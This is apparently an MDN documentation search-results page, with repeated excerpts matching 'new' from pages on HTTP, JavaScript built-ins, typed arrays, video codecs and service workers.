new, cold connection. this model is the default model used in http/1.0 (if there is no connection header, or if its value is set to close). in http/1.1, this model is only used when the connection header is sent with a value of close. unless dealing with a very old system, which doesn't support a persistent connection, there is no compelling reason to use this model. persistent connections shor...
...And 2 more matches
PUT - HTTP
the http put request method creates a
new resource or replaces a representation of the target resource with the request payload. the difference between put and post is that put is idempotent: calling it once or several times successively has the same effect (that is no side effect), whereas successive identical post requests may have additional effects, akin to placing an order several times. ...
...once or several times successively has the same effect (that is no side effect), whereas successive identical post requests may have additional effects, akin to placing an order several times. ...
...same effect (that is no side effect), whereas successive identical post requests may have additional effects, akin to placing an order several times. ...
...And 2 more matches
Keyed collections - JavaScript
« previousnext » this chapter introduces collections of data which are indexed by a key; map and set objects contain elements which are iterable in the order of insertion. maps map object ecmascript 2015 introduces a
new data structure to map values to values. a map object is a simple key/value map and can iterate its elements in insertion order. the following code shows some basic operations with a map. see also the map reference page for more examples and the complete api. ...
... object ecmascript 2015 introduces a
new data structure to map values to values. a map object is a simple key/value map and can iterate its elements in insertion order. the following code shows some basic operations with a map. see also the map reference page for more examples and the complete api. you can use a for...of loop to return an array of [key, value] for each iteration. ...
...e following example is from nick fitzgerald's blog post "hiding implementation details with ecmascript 6 weakmaps". the private data and methods belong inside the object and are stored in the privates weakmap object. everything exposed on the instance and prototype is public; everything else is inaccessible from the outside world because privates is not exported from the module. const privates =
new weakmap(); function public() { const me = { // private data goes here }; privates.set(this, me); } public.prototype.method = function () { const me = privates.get(this); // do stuff with private data in `me`... }; module.exports = public; sets set object set objects are collections of values. you can iterate its elements in insertion order. a value in a set may only occur once...
...And 2 more matches
Warning: Date.prototype.toLocaleFormat is deprecated - JavaScript
tandard date.prototype.tolocaleformat method is deprecated and shouldn't be used anymore. it uses a format string in the same format expected by the strftime() function in c. the function is no longer available in firefox 58+. examples deprecated syntax the date.prototype.tolocaleformat method is deprecated and will be removed (no cross-browser support, available in firefox only). var today =
new date(); var date = today.tolocaleformat('%a, %e. %b %y'); console.log(date); // in german locale // "freitag, 10. märz 2017" alternative standard syntax using the ecmascript intl api the ecma-402 (ecmascript intl api) standard specifies standard objects and methods that enable language sensitive date and time formatting (available in chrome 24+, firefox 29+, ie11+, safari10+). you can now ei...
...reitag, 10. märz 2017" alternative standard syntax using the ecmascript intl api the ecma-402 (ecmascript intl api) standard specifies standard objects and methods that enable language sensitive date and time formatting (available in chrome 24+, firefox 29+, ie11+, safari10+). you can now either use the date.prototype.tolocaledatestring method if you just want to format one date. var today =
new date(); var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; var date = today.tolocaledatestring('de-de', options); console.log(date); // "freitag, 10. märz 2017" or, you can make use of the intl.datetimeformat object, which allows you to cache an object with most of the computations done so that formatting is fast. this is useful if you have a lo...
...('de-de', options); console.log(date); // "freitag, 10. märz 2017" or, you can make use of the intl.datetimeformat object, which allows you to cache an object with most of the computations done so that formatting is fast. this is useful if you have a loop of dates to format. ...
...And 2 more matches
TypeError: "x" is not a function - JavaScript
shares a name with a pre-existing property sometimes when making a class, you may have a property and a function with the same name. upon calling the function, the compiler thinks that the function ceases to exist. ...
...name with a pre-existing property sometimes when making a class, you may have a property and a function with the same name. upon calling the function, the compiler thinks that the function ceases to exist. ...
...re-existing property sometimes when making a class, you may have a property and a function with the same name. upon calling the function, the compiler thinks that the function ceases to exist. ...
...And 2 more matches
The arguments object - JavaScript
guments inside that function by using its arguments object. it has entries for each argument the function was called with, with the first entry's index at 0. for example, if a function is passed 3 arguments, you can access them as follows: arguments[0] // first argument arguments[1] // second argument arguments[2] // third argument each argument can also be set or reassigned: arguments[1] = '
new value'; the arguments object is not an array. it is similar, but lacks all array properties except length. for example, it does not have the pop() method. however, it can be converted to a real array: var args = array.prototype.slice.call(arguments); // using an array literal is shorter than above but allocates an empty array var args = [].slice.call(arguments); as you can do with any array...
... the type of individual arguments can be determined by indexing arguments: console.log(typeof arguments[0]); // returns the type of the first argument properties arguments.callee reference to the currently executing function that the arguments belong to. forbidden in strict mode. arguments.length the number of arguments that were passed to the function. arguments[@@iterator] returns a
new array iterator object that contains the values for each index in arguments. examples defining a function that concatenates several strings this example defines a function that concatenates several strings. the function's only formal argument is a string containing the characters that separate the items to concatenate. function myconcat(separator) { let args = array.prototype.slice.call(arg...
....args) { return args; } foo(1, 2, 3); // [1, 2, 3] while the presence of rest, default, or destructured parameters does not alter the behavior of the arguments object in strict mode code, there are subtle differences for non-strict code. in strict-mode code, the arguments object behaves the same whether or not a function is passed rest, default, or destructured parameters. that is, assigning
new values to variables in the body of the function will not affect the arguments object. nor will assigning
new variables to the arguments object affect the value of variables. note: you cannot write a "use strict"; directive in the body of a function definition that accepts rest, default, or destructured parameters. doing so will throw a syntax error. non-strict functions that are passed only s...
...And 2 more matches
Array.isArray() - JavaScript
alse is always returned. polyfill running the following code before any other code will create array.isarray() if it's not natively available. ...
...olyfill running the following code before any other code will create array.isarray() if it's not natively available. ...
... other code will create array.isarray() if it's not natively available. ...
...And 2 more matches
Array.prototype.unshift() - JavaScript
description the unshift method inserts the given values to the beginning of an array-like object. unshift is intentionally generic. this method can be called or applied to objects resembling arrays. objects which do not contain a length property—reflecting the last in a series of consecutive, zero-based numerical properties—may not behave in any meaningful manner. ...
...ent (with a loop, for example), don't yield the same results. ...
... ...
...And 2 more matches
Atomics - JavaScript
all properties and methods of atomics are static (as is the case with the math object, for example). ...
...times out. returns either "ok", "not-equal", or "timed-out". if waiting is not allowed in the calling agent then it throws an error exception. (most browsers will not allow wait() on the browser's main thread.) atomics.xor() computes a bitwise xor on the value at the specified index of the array with the provided value. returns the old value at that index. ...
...al", or "timed-out". if waiting is not allowed in the calling agent then it throws an error exception. (most browsers will not allow wait() on the browser's main thread.) atomics.xor() computes a bitwise xor on the value at the specified index of the array with the provided value. returns the old value at that index. ...
...And 2 more matches
Date.prototype.toLocaleTimeString() - JavaScript
in older implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent. the source for this interactive example is stored in a github repository. ...
...he given date instance according to language-specific conventions. performance when formatting large numbers of dates, it is better to create an intl.datetimeformat object and use the function provided by its format property. examples using tolocaletimestring() in basic use without specifying a locale, a formatted string in the default locale and with default options is returned. ...
...un in en-us locale with time zone america/los_angeles checking for support for locales and options arguments the locales and options arguments are not supported in all browsers yet. to check whether an implementation supports them already, you can use the requirement that illegal language tags are rejected with a rangeerror exception: function tolocaletimestringsupportslocales() { try {
new date().tolocaletimestring('i'); } catch (e) { return e.name === 'rangeerror'; } return false; } using locales this example shows some of the variations in localized time formats. in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: var date =...
...And 2 more matches
Intl.DateTimeFormat.prototype.formatRange() - JavaScript
e interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax intl.datetimeformat.prototype.formatrange(startdate, enddate) examples basic formatrange usage this method receives two dates and formats the date range in the most concise way based on the locale and options provided when instantiating intl.datetimeformat. ...
...thub.com/mdn/interactive-examples and send us a pull request. syntax intl.datetimeformat.prototype.formatrange(startdate, enddate) examples basic formatrange usage this method receives two dates and formats the date range in the most concise way based on the locale and options provided when instantiating intl.datetimeformat. ...
...quest. syntax intl.datetimeformat.prototype.formatrange(startdate, enddate) examples basic formatrange usage this method receives two dates and formats the date range in the most concise way based on the locale and options provided when instantiating intl.datetimeformat. ...
...And 2 more matches
Intl.ListFormat - JavaScript
the intl.listformat object is a constructor for objects that enable language-sensitive list formatting. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. constructor intl.listformat() creates a
new listformat object. static methods intl.listformat.supportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall back to the runtime's default locale. instance methods intl.listformat.prototype.format() returns a language-specific formatted string representing the elements of the list. intl.listformat.prototype.formattoparts() returns an array of o...
...d string representing the elements of the list. intl.listformat.prototype.formattoparts() returns an array of objects representing the different components that can be used to format a list of values in a locale-aware fashion. examples using format the following example shows how to create a list formatter using the english language. ...
...nting the different components that can be used to format a list of values in a locale-aware fashion. examples using format the following example shows how to create a list formatter using the english language. ...
...And 2 more matches
JSON.stringify() - JavaScript
rable properties serialized. ...
... // 'true' json.stringify('foo'); // '"foo"' json.stringify([1, 'false', false]); // '[1,"false",false]' json.stringify([nan, null, infinity]); // '[null,null,null]' json.stringify({ x: 5 }); // '{"x":5}' json.stringify(
new date(2006, 0, 2, 15, 4, 5)) // '"2006-01-02t15:04:05.000z"' json.stringify({ x: 5, y: 6 }); // '{"x":5,"y":6}' json.stringify([
new number(3),
new string('false'),
new boolean(false)]); // '[3,"false",false]' // string-keyed array elements are not enumerable and make no sense in json let a = ['foo', 'bar']; a['baz'] = 'quux'; // a: [ 0: 'foo', 1: 'bar', baz: 'quux' ] json.stringify(a); // '["foo","bar"]' json.stringify({ x: [10, undefined, function(){}, symbol('')] }); // '{"x":[10,null,null,null]}' // standard data s...
...lse'),
new boolean(false)]); // '[3,"false",false]' // string-keyed array elements are not enumerable and make no sense in json let a = ['foo', 'bar']; a['baz'] = 'quux'; // a: [ 0: 'foo', 1: 'bar', baz: 'quux' ] json.stringify(a); // '["foo","bar"]' json.stringify({ x: [10, undefined, function(){}, symbol('')] }); // '{"x":[10,null,null,null]}' // standard data structures json.stringify([
new set([1]),
new map([[1, 2]]),
new weakset([{a: 1}]),
new weakmap([[{a: 1}, 2]])]); // '[{},{},{},{}]' // typedarray json.stringify([
new int8array([1]),
new int16array([1]),
new int32array([1])]); // '[{"0":1},{"0":1},{"0":1}]' json.stringify([
new uint8array([1]),
new uint8clampedarray([1]),
new uint16array([1]),
new uint32array([1])]); // '[{"0":1},{"0":1},{"0":1},{"0":1}]' json.stringify([
new fl...
...And 2 more matches
Object.defineProperties() - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.defineproperties(obj, props) parameters obj the object on which to define or modify properties. props an object whose keys represent the names of properties to be defined or modified and whose values are objects describing those properties. ...
...ssor descriptor also has the following optional keys: get a function which serves as a getter for the property, or undefined if there is no getter. the function's return value will be used as the value of the property. defaults to undefined. set a function which serves as a setter for the property, or undefined if there is no setter. the function will receive as its only argument the
new value being assigned to the property. defaults to undefined. if a descriptor has neither of value, writable, get and set keys, it is treated as a data descriptor. if a descriptor has both value or writable and get or set keys, an exception is thrown. return value the object that was passed to the function. polyfill assuming a pristine execution environment with all names and propert...
...on defineproperties(obj, properties) { function converttodescriptor(desc) { function hasproperty(obj, prop) { return object.prototype.hasownproperty.call(obj, prop); } function iscallable(v) { // nb: modify as necessary if other values than functions are callable. ...
...And 2 more matches
Object.freeze() - JavaScript
in addition, freezing an object also prevents its prototype from being changed. freeze() returns the same object that was passed in. the source for this interactive example is stored in a github repository. ...
...ror. in es2015, a non-object argument will be treated as if it were a frozen ordinary object, and be simply returned. ...
...re a frozen ordinary object, and be simply returned. ...
...And 2 more matches
Object.prototype.__proto__ - JavaScript
n every browser and javascript engine. the effects on the performance of altering inheritance are subtle and far-flung, and are not limited to simply the time spent in obj.__proto__ = ... statements, but may extend to any code that has access to any object whose [[prototype]] has been altered. if you care about performance you should avoid setting the [[prototype]] of an object. instead, create a
new object with the desired [[prototype]] using object.create(). warning: while object.prototype.__proto__ is supported today in most browsers, its existence and exact behavior has only been standardized in the ecmascript 2015 specification as a legacy feature to ensure compatibility for web browsers. for better support, use object.getprototypeof() instead. the __proto__ property of object.prot...
...native to object.create(). see: object initializer / literal syntax. description the __proto__ getter function exposes the value of the internal [[prototype]] of an object. for objects created using an object literal, this value is object.prototype. for objects created using array literals, this value is array.prototype. for functions, this value is function.prototype. for objects created using
new fun, where fun is one of the built-in constructor functions provided by javascript (array, boolean, date, number, object, string, and so on — including
new constructors added as javascript evolves), this value is always fun.prototype. for objects created using
new fun, where fun is a function defined in a script, this value is the value of fun.prototype. (that is, if the constructor didn't retu...
...er function. a property access for __proto__ that eventually consults object.prototype will find this property, but an access that does not consult object.prototype will not. if some other __proto__ property is found before object.prototype is consulted, that property will hide the one found on object.prototype. ...
...And 2 more matches
Object.prototype.valueOf() - JavaScript
ject. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.valueof() return value the primitive value of the specified object. a (unary) plus sign can sometimes be used as a shorthand for valueof, e.g. in +
new number()). also see using unary plus. description javascript calls the valueof method to convert an object to a primitive value. you rarely need to invoke the valueof method yourself; javascript automatically invokes it when encountering an object where a primitive value is expected. by default, the valueof method is inherited by every object descended from object. every built-in core object ...
...thod, which is different from string objects converting to string primitives using valueof. all objects have a string conversion, if only "[object type]". but many objects do not convert to number, boolean, or function. ...
...e]". but many objects do not convert to number, boolean, or function. ...
...And 2 more matches
handler.setPrototypeOf() - JavaScript
the handler.setprototypeof() method is a trap for object.setprototypeof(). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const p =
new proxy(target, { setprototypeof: function(target, prototype) { } }); parameters the following parameters are passed to the setprototypeof() method. this is bound to the handler. target the target object. prototype the object's
new prototype or null. return value the setprototypeof() method returns true if the [[prototype]] was successfully changed, otherwise false. description the handler.setprototypeof() method is a trap for object.setprototypeof(). inte...
... is a trap for object.setprototypeof(). interceptions this trap can intercept these operations: object.setprototypeof() reflect.setprototypeof() invariants if the following invariants are violated, the proxy will throw a typeerror: if target is not extensible, the prototype parameter must be the same value as object.getprototypeof(target). examples if you want to disallow setting a
new prototype for your object, your handler's setprototypeof() method can either return false, or it can throw an exception. approach 1: returning false this approach means that any mutating operation that throws an exception on failure to mutate, must create the exception itself. for example, object.setprototypeof() will create and throw a typeerror itself. if the mutation is performed by an ope...
...ny mutating operation that throws an exception on failure to mutate, must create the exception itself. for example, object.setprototypeof() will create and throw a typeerror itself. if the mutation is performed by an operation that doesn't ordinarily throw in case of failure, such as reflect.setprototypeof(), no exception will be thrown. const handlerreturnsfalse = { setprototypeof(target,
newproto) { return false; } }; const
newproto = {}, target = {}; const p1 =
new proxy(target, handlerreturnsfalse); object.setprototypeof(p1,
newproto); // throws a typeerror reflect.setprototypeof(p1,
newproto); // returns false approach 2: throwing an exception the latter approach will cause any operation that attempts to mutate, to throw. this approach is best if you want even no...
...And 2 more matches
RegExp.prototype.toString() - JavaScript
return value a string representing the given object. description the regexp object overrides the tostring() method of the object object; it does not inherit object.prototype.tostring(). for regexp objects, the tostring() method returns a string representation of the regular expression. ...
...ect overrides the tostring() method of the object object; it does not inherit object.prototype.tostring(). for regexp objects, the tostring() method returns a string representation of the regular expression. ...
... ...
...And 2 more matches
Planned changes to shared memory - JavaScript
these across threads (i.e., postmessage() for sharedarraybuffer objects throws by default). these changes provide further isolation between sites and help reduce the impact of attacks with high-resolution timers, which can be created with shared memory. starting with firefox 79, the features described in this document are enabled by default. chrome intends to implement similar restrictions.
new http header bonanza as a baseline requirement, documents will need to be in a secure context. for top-level documents, two headers will need to be set: cross-origin-opener-policy with same-origin as value (protects your origin from attackers) cross-origin-embedder-policy with require-corp as value (protects victims from your origin) with these two headers set, postmessage() will no longer...
...header to any other value than same-origin opens up the resource to potential attacks, such as spectre. note that the cross-origin-opener-policy header limits your ability to retain a reference to popups. direct access between two top-level window contexts will essentially only work if they are same-origin and carry the same two headers with the same two values. api changes as a result of this
newly required environment, there are a couple api implications: the atomics object is always available. sharedarraybuffer objects are in principle always available, but unfortunately the constructor on the global object is hidden, unless the two headers mentioned above are set, for compatibility with web content. there is hope that this restriction can be removed in the future. webassembly.memor...
... objects and dedicated workers will function and allow for memory sharing. to avoid having to check whether postmessage() throws, self.crossoriginisolated is being standardized (a getter that returns a boolean; true if the headers are set), available in window and worker contexts. webassembly shared memory the webassembly threads proposal allows webassembly.memory objects to be created with a
new shared constructor flag. when this flag is set to true, the constructed memory object can be shared between workers via postmessage(), just like sharedarraybuffer, and the backing buffer of the memory object is a sharedarraybuffer. therefore, the requirements listed above for sharing a sharedarraybuffer between workers also apply to sharing a webassembly.memory. the webassembly threads proposal ...
...And 2 more matches
String.prototype.repeat() - JavaScript
exceptions rangeerror: repeat count must be non-negative. ...
...nated together. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.repeat(count) parameters count an integer between 0 and +infinity, indicating the number of times to repeat the string. return value a
new string containing the specified number of copies of the given string. exceptions rangeerror: repeat count must be non-negative. rangeerror: repeat count must be less than infinity and not overflow maximum string size. polyfill this method has been added to the ecmascript 2015 specification and may not be available in all javascript implementations yet. however, you can polyfill string.pro...
...n infinity and not overflow maximum string size. polyfill this method has been added to the ecmascript 2015 specification and may not be available in all javascript implementations yet. ...
...And 2 more matches
Symbol() constructor - JavaScript
the symbol() constructor returns a value of type symbol, but is incomplete as a constructor because it does not support the syntax "
new symbol()" and it is not intended to be subclassed. it may be used as the value of an extends clause of a class definition but a super call to it will cause an exception. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax symbol([description]) parameters description optional a string. ...
...s stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax symbol([description]) parameters description optional a string. a description of the symbol which can be used for debugging but not to access the symbol itself. ...
...tax symbol([description]) parameters description optional a string. a description of the symbol which can be used for debugging but not to access the symbol itself. examples creating symbols to create a
new primitive symbol, you write symbol() with an optional string as its description: let sym1 = symbol() let sym2 = symbol('foo') let sym3 = symbol('foo') the above code creates three
new symbols. note that symbol("foo") does not coerce the string "foo" into a symbol. ...
...And 2 more matches
TypedArray.prototype.filter() - JavaScript
the filter() method creates a
new typed array with all elements that pass the test implemented by the provided function. this method has the same algorithm as array.prototype.filter(). typedarray is one of the typed array types here. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.filter(callback[, thisarg]) parameters callback function to test each element of the typed array. invoked with arguments (element, index, typedarray). return true to keep the element, false otherwise. thisarg optional value to use as this when executing callback. ...
...ject, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.filter(callback[, thisarg]) parameters callback function to test each element of the typed array. invoked with arguments (element, index, typedarray). return true to keep the element, false otherwise. thisarg optional value to use as this when executing callback. return value a
new typed array with the elements that pass the test. description the filter() method calls a provided callback function once for each element in a typed array, and constructs a
new typed array of all the values for which callback returns a true value. callback is invoked only for indexes of the typed array which have assigned values; it is not invoked for indexes which have been deleted or which ...
... callback is invoked with three arguments: the value of the element the index of the element the typed array object being traversed if a thisarg parameter is provided to filter, it will be passed to callback when invoked, for use as its this value. otherwise, the value undefined will be passed for use as its this value. ...
...And 2 more matches
TypedArray.prototype.map() - JavaScript
the map() method creates a
new typed array with the results of calling a provided function on every element in this typed array. this method has the same algorithm as array.prototype.map(). typedarray is one of the typed array types here. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.map(mapfn[, thisarg]) parameters mapfn a callback function that produces an element of the
new typed array, taking three arguments: currentvalue the current element being processed in the typed array. index optional the index of the current element being processed in the typed array. array optio...
... a callback function that produces an element of the
new typed array, taking three arguments: currentvalue the current element being processed in the typed array. index optional the index of the current element being processed in the typed array. array optional the typed array map() was called upon. thisarg optional value to use as this when executing mapfn. return value a
new typed array. description the map() method calls a provided callback function (mapfn) once for each element in a typed array, in order, and constructs a
new typed array from the results. mapfn is invoked only for indexes of the typed array which have assigned values; it is not invoked for indexes that are undefined, those which have been deleted, or which have never been assigned values. mapfn...
...hich are appended to the array after the call to map() begins will not be visited by mapfn. if existing elements of the typed array are changed, or deleted, their value as passed to mapfn will be the value at the time map() visits them; elements that are deleted are not visited. ...
...And 2 more matches
TypedArray.prototype.subarray() - JavaScript
end optional element to end at. the offset is exclusive. ...
...ay types. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.subarray([begin [,end]]) parameters begin optional element to begin at. the offset is inclusive. ...
...s and send us a pull request. syntax typedarray.subarray([begin [,end]]) parameters begin optional element to begin at. the offset is inclusive. the whole array will be included in the
new view if this value is not specified. end optional element to end at. the offset is exclusive. if not specified, all elements from the one specified by begin to the end of the array are included in the
new view. return value a
new typedarray object. ...
...And 2 more matches
WebAssembly.Memory - JavaScript
the webassembly.memory object is a resizable arraybuffer or sharedarraybuffer that holds the raw bytes of memory accessed by a webassembly instance. a memory created by javascript or in webassembly code will be accessible and mutable from both javascript and webassembly. constructor webassembly.memory() creates a
new memory object. instance properties memory.prototype.buffer an accessor property that returns the buffer contained in the memory. ...
...h javascript and webassembly. constructor webassembly.memory() creates a
new memory object. instance properties memory.prototype.buffer an accessor property that returns the buffer contained in the memory. instance methods memory.prototype.grow() increases the size of the memory instance by a specified number of webassembly pages (each one is 64kb in size). examples creating a
new memory object there are two ways to get a webassembly.memory object. the first way is to construct it from javascript. the following example creates a
new webassembly memory instance with an initial size of 10 pages (640kib), and a maximum size of 100 pages (6.4mib). its buffer property will return an arraybuffer. ...
...ssembly pages (each one is 64kb in size). examples creating a
new memory object there are two ways to get a webassembly.memory object. the first way is to construct it from javascript. the following example creates a
new webassembly memory instance with an initial size of 10 pages (640kib), and a maximum size of 100 pages (6.4mib). its buffer property will return an arraybuffer. var memory =
new webassembly.memory({initial:10, maximum:100}); the second way to get a webassembly.memory object is to have it exported by a webassembly module. the following example (see memory.html on github, and view it live also) fetches and instantiates the loaded memory.wasm byte code using the webassembly.instantiatestreaming() method, while importing the memory created in the line above. it then stores...
...And 2 more matches
Lexical grammar - JavaScript
s class in regular expressions. only the following unicode code points are treated as line terminators in ecmascript, other line breaking characters are treated as white space (for example, next line, nel, u+0085 is considered as white space). line terminator characters code point name abbreviation description escape sequence u+000a line feed <lf>
new line character in unix systems. \n u+000d carriage return <cr>
new line character in commodore and early mac systems. \r u+2028 line separator <ls> wikipedia u+2029 paragraph separator <ps> wikipedia comments comments are used to add hints, notes, suggestions, or warnings to javascript code. this can make it easier to rea...
...bom if you want to run scripts directly from shell. you must only use the #! comment style to specify a javascript interpreter. in all other cases just use a // comment (or mulitiline comment). keywords reserved keywords as of ecmascript 2015 break case catch class const continue debugger default delete do else export extends finally for function if import in instanceof
new return super switch this throw try typeof var void while with yield future reserved keywords the following are reserved as future keywords by the ecmascript specification. they have no special functionality at present, but they might at some future time, so they cannot be used as identifiers. these are always reserved: enum the following are only reserved when they are found ...
...owed by e char (which serves as separator or exponent indicator) and n, which is exponent or power number – a signed integer (as per 2019 ecma-262 specs): 0e-5 // => 0 0e+5 // => 0 5e1 // => 50 175e-2 // => 1.75 1e3 // => 1000 1e-3 // => 0.001 binary binary number syntax uses a leading zero followed by a lowercase or uppercase latin letter "b" (0b or 0b). because this syntax is
new in ecmascript 2015, see the browser compatibility table, below. if the digits after the 0b are not 0 or 1, the following syntaxerror is thrown: "missing binary digits after 0b". var flt_signbit = 0b10000000000000000000000000000000; // 2147483648 var flt_exponent = 0b01111111100000000000000000000000; // 2139095040 var flt_mantissa = 0b00000000011111111111111111111111; // 8388607 octal octal nu...
...And 2 more matches
throw - JavaScript
the expression to throw. description use the throw statement to throw an exception. when you throw an exception, expression specifies the value of the exception. each of the following throws an exception: throw 'error2'; // generates an exception with a string value throw 42; // generates an exception with the value 42 throw true; // generates an exception with the value true throw
new error('required'); // generates an error object with the message of required also note that the throw statement is affected by automatic semicolon insertion (asi) as no line terminator between the throw keyword and the expression is allowed. examples throw an object you can specify an object when you throw an exception. you can then reference the object's properties in the catch block. the ...
...atement. function userexception(message) { this.message = message; this.name = 'userexception'; } function getmonthname(mo) { mo = mo - 1; // adjust month number for array index (1 = jan, 12 = dec) var months = ['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec']; if (months[mo] !== undefined) { return months[mo]; } else { throw
new userexception('invalidmonthno'); } } try { // statements to try var mymonth = 15; // 15 is out of bound to raise the exception var monthname = getmonthname(mymonth); } catch (e) { monthname = 'unknown'; console.error(e.message, e.name); // pass exception object to err handler } another example of throwing an object the following example tests an input string for a u.s. zip c...
...at, the throw statement throws an exception by creating an object of type zipcodeformatexception. /* * creates a zipcode object. * * accepted formats for a zip code are: * 12345 * 12345-6789 * 123456789 * 12345 6789 * * if the argument passed to the zipcode constructor does not * conform to one of these patterns, an exception is thrown. ...
...And 2 more matches
try...catch - JavaScript
k. the code opens a file and then executes statements that use the file; the finally-block makes sure the file always closes after it is used even if an exception was thrown. ...
...ys close the resource } examples nested try-blocks first, let's see what happens with this: try { try { throw
new error('oops'); } finally { console.log('finally'); } } catch (ex) { console.error('outer', ex.message); } // output: // "finally" // "outer" "oops" now, if we already caught the exception in the inner try-block by adding a catch-block try { try { throw
new error('oops'); } catch (ex) { console.error('inner', ex.message); } finally { console.log('finally'); } } catch (ex) { console.error('outer', ex.message); } // output: // "inner" "oops" // "finally" and now, let's rethrow the error. ...
... now, if we already caught the exception in the inner try-block by adding a catch-block try { try { throw
new error('oops'); } catch (ex) { console.error('inner', ex.message); } finally { console.log('finally'); } } catch (ex) { console.error('outer', ex.message); } // output: // "inner" "oops" // "finally" and now, let's rethrow the error. ...
...And 2 more matches
JavaScript typed arrays - JavaScript
tprequest instances' send() method now supports typed arrays and arraybuffer objects as argument. imagedata.data is a uint8clampedarray representing a one-dimensional array containing the data in the rgba order, with integer values between 0 and 255 inclusive. examples using views with buffers first of all, we will need to create a buffer, here with a fixed length of 16-bytes: let buffer =
new arraybuffer(16); at this point, we have a chunk of memory whose bytes are all pre-initialized to 0. there's not a lot we can do with it, though. we can confirm that it is indeed 16 bytes long, and that's about it: if (buffer.bytelength === 16) { console.log("yes, it's 16 bytes."); } else { console.log("oh no, it's the wrong size!"); } before we can really work with this buffer, we need t...
...do with it, though. we can confirm that it is indeed 16 bytes long, and that's about it: if (buffer.bytelength === 16) { console.log("yes, it's 16 bytes."); } else { console.log("oh no, it's the wrong size!"); } before we can really work with this buffer, we need to create a view. let's create a view that treats the data in the buffer as an array of 32-bit signed integers: let int32view =
new int32array(buffer); now we can access the fields in the array just like a normal array: for (let i = 0; i < int32view.length; i++) { int32view[i] = i * 2; } this fills out the 4 entries in the array (4 entries at 4 bytes each makes 16 total bytes) with the values 0, 2, 4, and 6. multiple views on the same data things start to get really interesting when you consider that you can create m...
...nt32view.length; i++) { int32view[i] = i * 2; } this fills out the 4 entries in the array (4 entries at 4 bytes each makes 16 total bytes) with the values 0, 2, 4, and 6. multiple views on the same data things start to get really interesting when you consider that you can create multiple views onto the same data. for example, given the code above, we can continue like this: let int16view =
new int16array(buffer); for (let i = 0; i < int16view.length; i++) { console.log('entry ' + i + ': ' + int16view[i]); } here we create a 16-bit integer view that shares the same buffer as the existing 32-bit view and we output all the values in the buffer as 16-bit integers. now we get the output 0, 0, 2, 0, 4, 0, 6, 0. you can go a step farther, though. consider this: int16view[0] = 32; conso...
...And 2 more matches
Web video codec guide - Web media technologies
of objects in the frame of view) and determines how many pixels the moving object has moved in each direction. then that shift is stored, along with a description of the pixels that have moved that can't be described just by that shift. in essence, the encoder finds the moving objects, then builds an internal frame of sorts that looks like the original but with all the objects translated to their
new locations. in theory, this approximates the
new frame's appearance. then, to finish the job, the remaining differences are found, then the set of object shifts and the set of pixel differences are stored in the data representing the
new frame. this object that describes the shift and the pixel differences is called a residual frame. original frame inter-frame differences differenc...
... worth noting, however, that at least for firefox and chrome, the levels are actually ignored at this time when performing software decoding, and the decoder just does the best it can to play the video given the settings provided. for compatibility's sake going forward, however, you should stay within the limits of the level you choose. the primary drawback to av1 at this time is that it is very
new, and support is still in the process of being integrated into most browsers. additionally, encoders and decoders are still being optimized for performance, and hardware encoders and decoders are still mostly in development rather than production. for this reason, encoding a video into av1 format takes a very long time, since all the work is done in software. for the time being, because of these ...
...ring encoding, a value is selected for bppmaxkb, and then the video cannot exceed this value for each frame. the final bit rate will depend on this, the frame rate, the compression, and the chosen resolution and block format. h.263 has been superseded by h.264 and is therefore considered a legacy media format which you generally should avoid using if you can. the only real reason to use h.263 in
new projects is if you require support on very old devices on which h.263 is your best choice. h.263 is a proprietary format, with patents held by a number of organizations and companies, including telenor, fujitsu, motorola, samsung, hitachi, polycom, qualcomm, and so on. to use h.263, you are legally obligated to obtain the appropriate licenses. supported bit rates unrestricted, but t...
...And 2 more matches
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
n pwa when implemented properly as a progressive enhancement, service workers can benefit users who have modern browsers that support the api by providing offline support, but won't break anything for those using legacy browsers. service workers in the js13kpwa app enough theory — let's see some source code! registering the service worker we'll start by looking at the code that registers a
new service worker, in the app.js file: note : we're using the es6 arrow functions syntax in the service worker implementation if('serviceworker' in navigator) { navigator.serviceworker.register('./pwa-examples/js13kpwa/sw.js'); }; if the service worker api is supported in the browser, it is registered against the site using the serviceworkercontainer.register() method. its contents reside in ...
...if not, we use another fetch request to fetch it from the network, then store the response in the cache so it will be a...
...r control — this is the part that functions as a proxy server between the app and the network. this allows us to respond to every single request with any response we want: prepared by the service worker, taken from cache, modified if needed. that's it! our app is caching its resources on install and serving them with fetch from the cache, so it works even if the user is offline. ...
...And 2 more matches
Using the Mozilla JavaScript interface to XSL Transformations - XSLT: Extensible Stylesheet Language Transformations
it has a single parameter, which is the dom node of the xslt stylesheet to import. ...
